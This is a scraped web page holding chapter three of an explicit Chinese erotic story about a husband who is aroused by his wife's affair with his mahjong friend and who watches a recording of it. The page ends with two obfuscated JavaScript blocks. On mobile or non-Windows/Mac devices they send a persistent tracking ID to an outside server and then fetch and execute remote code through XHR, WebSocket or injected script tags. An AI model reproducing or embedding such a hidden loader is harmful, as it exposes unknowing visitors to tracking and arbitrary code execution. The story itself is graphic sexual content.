图片载入中

麻将之后(03)

特大字】 【大字】 【中字】 【小字

(三)

“好了,讲完了。谢谢你能听我讲到最后,你——真的不生气吗?”妻子道。

听着妻子亲口将是和其他男人做爱的经过,心里酸酸的,这是肯定的。相比起来,更多的却是兴奋,一直处于勃起的状态。

“生气什么的,真的没有。再说对方是老向。你又这么坦诚,我也就不会有什么猜忌了。”我说道。

妻子微微笑了笑,脱下了我的裤子和内裤,替勃起的我口交起来。

“啊——好暖和,好舒服。”我不禁呻吟道。比起之前来,确实技术提高了不少。

“啊——要射了。”妻子深入喉咙,激烈的口交让我已经忍受不住了。

我一声低吼,将精液射到了妻子的嘴里。直到我的肉棒停止颤动前,妻子一直将它含在嘴里。随后将我射出的精液悉数吞了下去。

射精的后的肉棒迅速萎蔫了。

“老婆,我们今后会更幸福吧。”我想这次的事情,让我们夫妻之间的关系有了很大的改变。

“老公——好久没有像这样直接吞下去了——感觉我变淫荡了呢。”妻子说道。

看着妻子迷乱的眼神,我本来很兴奋。可是看了看我并没有起色的肉棒,情绪一下子低落了不少。

“快——被你的话挑逗得我又有感觉了。”我还是逞强地说道。

妻子真的有很大的变化,以前即便是夫妻之间常规的性生活,妻子都是被动的接受。

因为感觉自己还不够硬,所我并没有插入。

但又不想就此作罢,感觉像是输给老向了一样。

于是我一边爱抚着,一边脱去妻子的衣服。将妻子放倒在沙发上。

看着妻子裸露出来的胴体,尤其是勃起的乳头,我赞叹道:“真赞,是不是想老向的肉棒了?”

一种难以言表的感觉升腾起来了。

听着妻子和其他男人做爱而兴奋得丈夫。对丈夫毫无顾忌地下流地挑逗的妻子。

平常夫妇之间无法体会的那种感情,让我们两人都欲火燃烧起来了。

妻子匍匐在沙发上,翘起屁股对着我。我用舌头深入妻子的小穴吸允,一边用手指搓弄着妻子的小豆。

我用尽全力给与妻子爱抚,无论如何也要比老向做得更好。

妻子此刻似乎已经不再把眼前的我和老向联想在一起了,忘情地大叫着我的名字。这让我感到很高兴。

我顺势挺起肉棒从妻子身后插了进去。

“啊——老公,好舒服——再快点,再深点。”妻子喊叫道。

因为受到妻子喊叫的刺激,刚刚才射过一次的我,连套都顾不上带,再一次射到了妻子的小穴里。

“唿——我们又多久没有这么激烈的做过啦。”我喘息地感叹道。

“是啊,虽然我觉得爱和性无关——但果然有美妙的夫妻生活更幸福啊。”妻子也感叹道。

随后我们一起沐浴,仿佛回到了新婚时的如胶似漆。从此我们的性生活从每周才一次,变成了每两天就一次。

星期四的夜里,妻子主动向我索求。妻子从老向那学来的口交和观音坐莲,让近来本变得持久的我又感到有些力不从心了。

每次进入到妻子身体里,没多久就射了。射了两次后,就筋疲力尽到躺下后不知不觉就睡着了。

翌日起床来后,我就跟妻子道了歉。

“不用这么说了,我也很舒服得高潮了。”妻子安慰道。

确实,在我射精的时候,有听到妻子说:“我也要去了。”不过我真的没什么自信,不知道妻子是不是真的有高潮。

但听到妻子这么说,我也没在意,仍旧很平时一样出门上班了。

中午休息时,我接到了老向的电话。

“不好意思啊,周六拖到那么晚,一直想跟你道歉的,可是又觉得很唐突。”

“没有没有——”我将那天自己真实的心情告知了老向。老向也放下包袱,依旧邀请我周六打麻将。

由于中午休息的时间不长,我和老向没有多聊。

“明白了,那我明天5点钟就去你那。”

“嗯,好的,那明天见了。”

晚饭时,我把周六到老向家打麻将的事跟妻子说了。

“可别再拿我打赌了啊。”妻子开玩笑道。

“真的不想再和老向——”我也开玩笑道。

“如果——老公你允许的话——”在一瞬间认真的表情后,妻子忙说道:“开玩笑的啦——怎么,认真啦,吃醋啦?”

妻子刚才的话到底是真心?还是开玩笑的?亦或是对我挑逗?突然发现我对结婚十几年的妻子的本性竟然并不是那么了解。

“当然吃醋了,没想到你真的忘不了老向。”我不加掩饰地说出了自己的心思。男人就是如此,在爱人面前不会拐弯抹角的说话。

“抱歉抱歉,别生气了嘛。”妻子道歉道,“我有的朋友也和丈夫到了瓶颈期,话也不说,他丈夫似乎对她已经没有兴趣了,整日在家里哭。相比之下,我已经很幸福了。刚才那么试探,真是对不起。”

妻子嫁给我后就当了全职太太。不过是不是也会和大学时期的好友或者以前的同事聚会什么的。

就是大家一起抱怨丈夫的闺中密会。说什么,有了孩子以后,就完全没了夫妻生活。抱怨丈夫是早泄,甚至是阳痿。

女人虽然在男人面前矜持,可是她们之间讨论的话题有时甚至比男人之间更露骨。

好在这些大多数女人之和闺蜜讲的话,妻子如今却能和我坦诚交流了。想到这里不得不感谢老向。

第二天我和妻子一起去购物了,甚至还陪她一起买了内衣。但到店门口的事还是因为难为情,没好意思进去,只是坐在店门口的长凳上。

回家后我睡了一会儿,被妻子叫起吃了点东西就出门了。

“那我去了啊。”

“嗯,今天逛街有些累了,晚上我就不等你了啊。”

和往常一样,妻子一直把我送到车上才回去。

到了老向家,我按下了门铃,里面传来老向的声音,“哪位?”

“是我,田志博。”

门立刻打开了。

之前都是老向的夫人开门,今天却不在。我顺口问了句,似乎是去附近的超市买东西了。

进门后我就被老向叫道了麻将室。

已经很熟的房间,如今在我看来却有些不一样。

我不由自主地打量着房间的里的一切。尤其是看到那个放着安全套的柜子,一种奇妙的感觉涌上心头来。

“知道我为什么提早把你叫来吗?”老向说道。

我摇了摇头。

“我还特地把我老婆给支开了。”老向说着从柜子的抽屉里拿出了张透明包装的CD交到我手里。

“不好意思这么晚才把这个东西给你。我想夫人已经应该有好好跟你谈过了吧。我把整个过程都拍下来,当然因为这个摄像机是架在这的,可能也会有漏掉的部分。你想看的话——不妨看看。”老向低头道。

我什么也没说,结果CD就放进包里了。

“看样子,夫人已经都跟你说了吧。”

看来老向是真的很希望妻子能亲口给我讲述那天发生的一起。

“嗯啊,虽然那天晚上大家都累了,回家后我们两就睡了。因为我说我想听,第二我老婆就跟我都说了。”在我说完后,两人都沉默了一会。

“说起来,老向,真的要谢谢你。我老婆那天晚上高潮了几次,确实有点不爽。但我们夫妻之间的感情确实更好了。”我不假掩饰地说出了我心里的不服气。

听到这句话的老向,表情终于变得明朗起来,“我真的很怕你会生气,看到你现在这个样子我总算放心了,比我想像中的还要大气呢。”

接着老向又说道:“从今我和夫人保持原来的距离的。本来是设想我们两对夫妻能来一次交换的,如今看来是没有必要了。虽然有点可惜,不过真的很高兴。”

“嗯,妻子都跟我说了,那晚她真的很开心。也跟我说了你很关系我们夫妻的事。不管怎么样,真是得跟你说声谢谢了。”我说道。

没过多久,另外两个人也来了。我们就开始打麻将了。

后来向太太也回来了,给我们买了很多啤酒和下酒菜。

一瞬间,我和向太太四目相投。向太太脸上露出了亲和的微笑。我当时并没有想太多。

到了深夜,没想到老李居然还特意问道上回我跟老向打赌的事。

“对了——你们两上次打赌的事怎么了,关于小田老婆的。”老李问道。

“哦——后来他说,这事他可真是没法交代,当时是酒喝多,要不请一顿高级日料怎么样。”

正在当我犯尴尬的时候,老向替我解了围。不得不佩服老向,这谎撒的面不改色。

“哎呀,没想到你这么没意思啊。亏得向夫人每次对你这么好。”老李阴阳怪气道。

“如果小田愿意的话,我随时都欢迎呀。”老向笑道。

“对了,老李你家儿子今天升学怎么样了。”我为了转移话题故意说道。

“还行吧,考了个市级的重点。”老李回道。

打麻将的时间过得很快,在老向的提议下,到凌晨三点就结束了。

到家时正好是凌晨3点,对于我来说正是时候。妻子睡得正熟,我可以趁机看看老向给我的CD。

从开门起我就轻手轻脚地,当然是为了不吵醒妻子。我偷偷的拿了罐瓶酒来到书房,打开电脑,拿出包里的CD,放了进去。

麻将室出现在了萤幕上,妻子和老向的身影出现在了地铺上。虽然从妻子的口中知道了大概的经过。

但究竟妻子当时发出了怎样的声音,是怎样的表情,无从得知。

我时而快进,时而回放地看着。亲眼看着妻子和其他的男人拥抱在一起,脱掉衣服,亲吻,喘息。

这种感觉和看A片不无法相提评论的,光是听妻子和老向的对白就让我兴奋无比。

我脱下裤子,握住自己的肉棒。

听着妻子的呻吟和淫语,以及老向将指头深入妻子小穴时发出的靡声。

看到老向脱下内裤时,我确实有些吃惊了。确实比我的要粗上一圈。

由于镜头角度的问题,我没能看到妻子和老向互相口交时的样子,不过听到声音就能让我想像出那淫靡画面。

两人对话很下流,还提到了我。

随后,老向指头和妻子小穴的摩擦声变大了,随后是妻子失神的春叫声。

这是我和妻子做事,从未听到过的。相比之下,我明白了妻子在我做的时候,都是伪装的高潮。

我顾不上喝啤酒,一只手握着鼠标,一只手手淫了起来。

69式结束后,老向稍微挪动了一下,仰躺在地上,翘起的肉棒出现在了镜头前。

接下来入妻子所说,妻子给老向带上了套子,以乘骑式跨到了老向身上。

汗流浃背的胴体,迷离恍惚的眼神,紧密结合的两人。

躺在下面的老向一边扭动着腰,一边抚弄着妻子的乳房。

“插到最深处”如此从未听过的淫荡的对白。随之而来的是高潮之前尖声的呻吟。二人紧紧相拥。

我赶忙拿出抽纸,听两人高潮时的呻吟,和两人一通达到了高潮。

看了录影,说实话我很受打击。看来结婚以来,我从来没有让妻子满足过,满足的只有我自己。

看到妻子和其他男人感受到了真正性爱,一种既懊恼又兴奋,即羞愧又欣慰的心情涌上心头。

我喝了一大口啤酒,又快进了一点。

镜头前妻子的小穴整个地清晰可见。能清晰地看到张开的阴唇里流出粘稠的爱液。

“太太有潮吹过吗?”老向问道。

终于要来了。老向的指头摸索着,发出“咕噜咕噜”的淫靡之声。妻子的腰随之剧烈的扭动起来。

老向的手指越动越快,随着妻子一声“要丢了”,妻子小穴喷出得爱液溅射到了镜头上。

虽然这样的画面在A片上看过,不过那多是为了满足观众后期制作出来的。

如今我看到自己的妻子的潮吹。我又不禁怀疑自己来,我到底有没有让妻子满足的能力吗?

我也不想再把妻子交给老向,或者是其他男人了。

可是明明看着妻子和其他男人做爱的录影这么兴奋,却又对妻子有着占有欲。我一时间真有些迷惘了。

虽然迷惘,可是当我看到妻子如痴如醉地替老向口交、乳交的画面,看到妻子爬在地上翘起屁股挑逗的画面。

我又兴奋得勃起了。

本来是背对着进的妻子,在老向的要求下转过身来,对着镜头说道:“对不起老公,我真的很舒服。”

看到被老向调教得如同另外一个人的妻子时。那种看着妻子被人淫弄得快感胜过了对妻子的占有欲。

我彻底兴奋了。

“真的那么好吗?真的比我厉害那么多吗?”我疯癫地对着视频里的妻子喊道。

随后再一次和视频的妻子一起达到了高潮。

看看钟,已经凌晨四点了。我停了下视频,走进了浴室。一边冲澡,一边还在回想刚才看到的种种画面。

对妻子的占有欲和那种被人淫妻的快感相互打搅。

最后我还是告诉自己:“现在开始努力让妻子满足不就行了,我一定能做到的。”

之前一直都觉得妻子得到满足,所以也很少想去用什么新花样让妻子舒服。

看到刚在视频里妻子为老向乳交的样子。明明当初新婚的时不时会做一下的,后来竟然都忘了有这么回事了。

我回到卧室,看着妻子平静安稳的睡着,和视频中淫荡迷乱的样子见识判若两人。

我在妻子的脸颊上轻轻吻了一口,就钻进被子睡了。

一件重要的事就这么忘记了,我却浑然不觉。

第二天比我早起的妻子照旧打扫房间起来。

来到书房,看到满桌的狼藉,妻子喃喃自语道:“又不乱七八糟地仍东西——咦,这是什么。”

妻子拿起CD的包装看起来,“是老公的吧——是A片吗?难道——”

妻子七上八下地点下了播放键。

画面是空无一人的麻将室。昨天我停下来的地方,正好是两人去浴室的时候。

“果然看到了——”妻子本想按下停止键,却没能下的去手,“看一点点,应该没关系。”

妻子稍微往回拖了一点,镜头上出现了她自己的背部,“那时候的我竟然做出这么嬴荡的样子——还没老公看到了。”

本来就是一夜情,再加上进来我们夫妻生活有所改善。差不多已经将老向的事忘掉的妻子看到视屏后回想起来了那销魂的一夜。

“不行——我这是在干什么呢。”妻子再一次想制止自己。

然后她最后在某种力量的驱使下还是没有控制住自己的冲动。

“去浴室了啊。”妻子向前快进到画面上再次出现了她自己和老向。

“啊,是这里。”妻子按下暂停键,“果然是好向大哥的大——怎么回事,我现在想什么呢。”

妻子不由自主地用手隔着衣服和内裤,搓揉起自己的乳头和小穴来,“已经这么湿了——什么时候变成这样的。”

妻子脱掉自己的内裤手淫起来,“啊——这里——再深一点。”一边看着视频,一幻想着。然而对象并不是我,而是老向。

一阵呻吟后,妻子结束了自己的手淫,喘息着迷茫地略带哭腔道:“我——我该怎么办呐。”

妻子随后用抽纸擦干了大腿上的爱液,休息了一会后又继续做起了家务事。

早饭准备完后,妻子一边喝着咖啡,一边郁郁寡欢地看着手机。那日分别的时候,妻子和老向交换了电话号码。为的事怕我做出过激的事。

然而那样的事并没有发生,妻子也一直没有和老向有私下的联系。

“哎——没什么可以打电话的理由啊。”妻子害怕这么贸然联系老向,不仅会影响到我们夫妻的婚姻,还会被老向当做轻浮的女人。

“起来了,已经是午饭时间了,赶紧去洗脸刷牙吧。”妻子看到我起来了,向我打招唿道。

一方面,妻子暗谆道:“我可是田志博的妻子,怎么能跟别人幽会呢。那天的事还是忘了吧。”

“嗯,我这就去。”

此时我完全没有察觉到自己忘记拿出光碟,更无法想像妻子会看着视频手淫。

还在跟妻子聊着昨天打麻将输给老李,以及老李问起之前的赌约,老向替我解围的事。

“向经理果然很厉害呢。”妻子附和地称赞道。

我心里果然还是酸酸的,“是啊,我还是得多跟老向学学啊。”

“不过老公你也是个成熟的男人哦。”老婆又说道。

听到这句话,我还是很欣慰的。暗谆道,今晚一定要妻子真正地得到满足。

午饭后,我看着电视,妻子在厨房里洗完。看着妻子的背影,我突然有先从后面袭击她的冲动。

我就这么看了好一会,我自己都能感受自己眼神里的释放出来的欲望。可是当妻子洗完碗,转身向我走来时。我却收敛了。

“辛苦了,老婆。”我说道。

“怎么了——不会又做了什么坏事吧。”妻子有点诧异。

“没有啦,心里的话偶尔也要出来嘛。”我道。

“还是感觉好可疑啊。”妻子仍觉得我态度可疑。

“好吧,我承认了。刚才你在厨房洗碗时,看着你的背影,让我突然想做坏事。”我道。

“什么坏事?难道硬了?”妻子道。

“是啊,好想操你。”我道。

妻子听罢,在我耳畔呵气道:“那就操吧。”

听到这句的话我,立马亢奋了起来。将妻子压到在沙发上,准备脱下衣服。

“别急——去房里。”妻子道。

于是我们两人一边拥吻着一边来到房里,随即互相脱下了对方的衣服。

我看着妻子的内衣道:“这不是昨天买的吗?”

“这是你选的红色哦。”妻子道。

昨天坐在内衣店门口的长凳上,妻子突然跑过来问我那个好。我一紧张也没仔细看,就选了自己喜欢的颜色。

看着妻子内衣上的玫瑰刺绣,加上略带透明的材质,我着实有些兴奋了,“很合适呢。”

“真的吗,太好了。”

我将妻子压到在床上,隔着内衣搓揉起妻子的乳房来。

“还有点小透明,很诱人,让我很兴奋啊。”

“讨厌,羞死人了,被你这么一说我也兴奋了。”

事到如今都进展得很顺利。

我伸手去隔着内裤抚摸起妻子的小穴来。感受到了妻子小穴的湿润。

“已经这么湿了。”

“讨厌,老公,都是被你挑逗得了。”

我拉开妻子的内裤,将两根手指伸了进去。用一直以来都没有过的手法,挠着妻子的小穴。

“老公——好舒服。”

我不停地变换着方法,妻子虽然有反应,可是并不那么强烈。

“进来吧——我想要了——”

眼看着用手指是不行了,浴室我脱下妻子的胸罩和内裤,然后脱下自己的内裤。

勃起的肉棒缓缓进入到妻子的小穴里。

“啊——进来了——”妻子呻吟道。

我将整根肉棒没入小穴,插到最深处。感觉比以往都要顺滑。

但妻子的呻吟声依旧没有改变,样子也没有改变,而我已经到极限了。

“啊,老婆——感觉要射了。”

“嗯,我也算是——一起吧。”

我想当然地觉得妻子和以往不同了,没有多想就射了出来。

看着妻子双眼无神地躺在床上,也不知道是不是真的高潮了,“老婆——感觉不错吧。”我把妻子搂在怀里,亲了亲妻子面颊。

“嗯啊,很舒服。”

本想着至少和妻子还能再来一次,可是肉棒怎么也硬不起来了。

我的肉棒滑出了妻子的小穴,于是妻子枕在我的肩膀上,躺到了我身旁。

“刚才你说,”操我“的时候。真的很兴奋,本来着还能多来几次的。”我一边摆弄着萎蔫的肉棒一边说道。

“不用在意了,我真的很舒服了,性也不是两个人的全部。”

妻子道。

妻子说得很委婉,相比妻子视频里迷乱的模样,我知道妻子没能真正的满足。

确实,夫妻之间性不是全部。可是已经在老向那尝到甜头的妻子能忍受这种夫妻生活吗?没能让妻子满足的我,变得不安起来。

就在我胡思乱想的时候,妻子用手指抚弄起我的乳头来。

“嗯?”

“男人的乳头也会变硬啊——怎么,舒服吗?”

“嗯——有点感觉。”

“那这样呢。”妻子伸出舌头舔起我的乳头来。

我想妻子是想起了老向的教导,在做的过程中,女人也要适当的主动。

“怎么样,舒服吗?”妻子又用手抚弄起被唾液湿润的乳头来,又用口吸允起我的另一个乳头。还有一只手抚摸着我的阴囊。

我感受到了前所未有的快感,“啊,老婆——好舒服。”

妻子没有说话,默默地认真地替我口交着,时不时用手指刺激我的乳头。

终于我的肉棒有了起色,已经胀大到妻子可以用手握住的程度。

妻子开始用手捋弄着沾满爱液和精液的肉棒。

“老公,又硬了哟——以后我就这么给你做。”

果然,在老向那尝到甜头的妻子,一次是无法满足的。可是妻子已经无法再从老向那得到满足了,于是寻找着和我做爱也能得到满足的办法。

妻子挪了挪身体,伏到我的两腿之间,一边替我口交,一边用手挑逗着我的乳头。

“啊,好吃——今天我在上面可以吗?”老婆说道。

妻子似乎终于有点进入状态了,没等我回话,就掰开小穴,跨到了我身上,然后缓缓坐了下去。

一边蹂躏着自己乳房,一边用从老向那学来的方法摆动着腰的妻子,很快就让我又想射了。

“老婆——我又要射了——”

“嗯——射吧——”

我配合着老婆,摆动着腰,低吼一声“啊,射了!”

这次我比第一次射得更快了,连老婆伪装的高潮声都没能听到。

骑在我身上的妻子,伏到我身上,说道:“老公,我爱你。”

听到妻子的表白,我却异常沉重。我也认清了一个事实,我真的比不上老向。

突然我的手机响了,竟然是老向打来的。

本帖最近评分记录


上一篇:补习课上的欲望

下一篇:花之凋落(01)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};